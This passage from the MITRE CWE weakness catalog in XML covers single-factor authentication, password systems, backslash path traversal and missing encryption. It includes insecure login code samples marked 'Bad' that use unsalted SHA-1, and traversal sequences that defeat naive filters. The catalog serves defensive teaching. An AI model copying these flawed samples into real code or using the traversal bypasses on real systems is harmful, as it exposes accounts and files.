					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Multiple Failed Authentication Attempts not Prevented</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-02-16">Failure to Restrict Excessive Authentication Attempts</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="308" Name="Use of Single-factor Authentication" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.</Description>
         <Extended_Description>While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="654" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="309" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-101">
               <Intro_Text>In both of these examples, a user is logged in if their given password matches a stored password:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned char *check_passwd(char *plaintext) {<xhtml:div style="margin-left:1em;">ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );<xhtml:br/>
                        <xhtml:i>//Login if hash matches stored hash</xhtml:i>
                        <xhtml:br/>if (equal(ctext, secret_password())) {<xhtml:div style="margin-left:1em;">login_user();</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String plainText = new String(plainTextIn);<xhtml:br/>MessageDigest encer = MessageDigest.getInstance("SHA");<xhtml:br/>encer.update(plainTextIn);<xhtml:br/>byte[] digest = password.digest();<xhtml:br/>
                     <xhtml:i>//Login if hash matches stored hash</xhtml:i>
                     <xhtml:br/>if (equal(digest,secret_password())) {<xhtml:div style="margin-left:1em;">login_user();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328).  It also does not use a salt (CWE-759).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Using single-factor authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="16"/>
            <Related_Attack_Pattern CAPEC_ID="49"/>
            <Related_Attack_Pattern CAPEC_ID="509"/>
            <Related_Attack_Pattern CAPEC_ID="55"/>
            <Related_Attack_Pattern CAPEC_ID="555"/>
            <Related_Attack_Pattern CAPEC_ID="560"/>
            <Related_Attack_Pattern CAPEC_ID="561"/>
            <Related_Attack_Pattern CAPEC_ID="565"/>
            <Related_Attack_Pattern CAPEC_ID="600"/>
            <Related_Attack_Pattern CAPEC_ID="644"/>
            <Related_Attack_Pattern CAPEC_ID="645"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
            <Related_Attack_Pattern CAPEC_ID="653"/>
            <Related_Attack_Pattern CAPEC_ID="70"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Using Single-factor Authentication</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="309" Name="Use of Password System for Primary Authentication" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="654" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="308" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks,and such frequent compromise that their use in the most simple implementation is not practical.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>A password authentication mechanism error will almost always result in attackers being authorized as valid users.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>In order to protect password systems from compromise, the following should be noted:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.</xhtml:li>
                        <xhtml:li>Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.</xhtml:li>
                        <xhtml:li>Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a zero-knowledge password protocol, such as SRP.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that passwords are stored safely and are not reversible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Implement password aging functionality that requires passwords be changed after a certain point.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a mechanism for determining the strength of a password and notify the user of weak password use.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-101">
               <Intro_Text>In both of these examples, a user is logged in if their given password matches a stored password:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned char *check_passwd(char *plaintext) {<xhtml:div style="margin-left:1em;">ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );<xhtml:br/>
                        <xhtml:i>//Login if hash matches stored hash</xhtml:i>
                        <xhtml:br/>if (equal(ctext, secret_password())) {<xhtml:div style="margin-left:1em;">login_user();</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String plainText = new String(plainTextIn);<xhtml:br/>MessageDigest encer = MessageDigest.getInstance("SHA");<xhtml:br/>encer.update(plainTextIn);<xhtml:br/>byte[] digest = password.digest();<xhtml:br/>
                     <xhtml:i>//Login if hash matches stored hash</xhtml:i>
                     <xhtml:br/>if (equal(digest,secret_password())) {<xhtml:div style="margin-left:1em;">login_user();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328).  It also does not use a salt (CWE-759).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Using password systems</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Broken Authentication and Session Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="16"/>
            <Related_Attack_Pattern CAPEC_ID="49"/>
            <Related_Attack_Pattern CAPEC_ID="509"/>
            <Related_Attack_Pattern CAPEC_ID="55"/>
            <Related_Attack_Pattern CAPEC_ID="555"/>
            <Related_Attack_Pattern CAPEC_ID="560"/>
            <Related_Attack_Pattern CAPEC_ID="561"/>
            <Related_Attack_Pattern CAPEC_ID="565"/>
            <Related_Attack_Pattern CAPEC_ID="600"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
            <Related_Attack_Pattern CAPEC_ID="653"/>
            <Related_Attack_Pattern CAPEC_ID="70"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Using Password Systems</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="31" Name="Path Traversal: 'dir\..\..\filename'" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The 'dir\..\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "..\" sequence, so multiple "..\" can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0160</Reference>
               <Description>The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\.." sequence in the URL to port 2002.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0160</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>8 - 'directory\..\..\filename</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 20: Weak Random Numbers.&#34; Page 299"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-10</Modification_Date>
               <Modification_Comment>fixed incorrect manipulation in name (desc was correct).</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Directory Doubled Dot Dot Backslash - 'directory\..\..\filename'</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-10-14">Path Traversal: 'dir\..\filename'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="311" Name="Missing Encryption of Sensitive Data" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not encrypt sensitive or critical information before storage or transmission.</Description>
         <Extended_Description>The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>The characterizaton of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.</Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Analysis</Method>
               <Description>Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
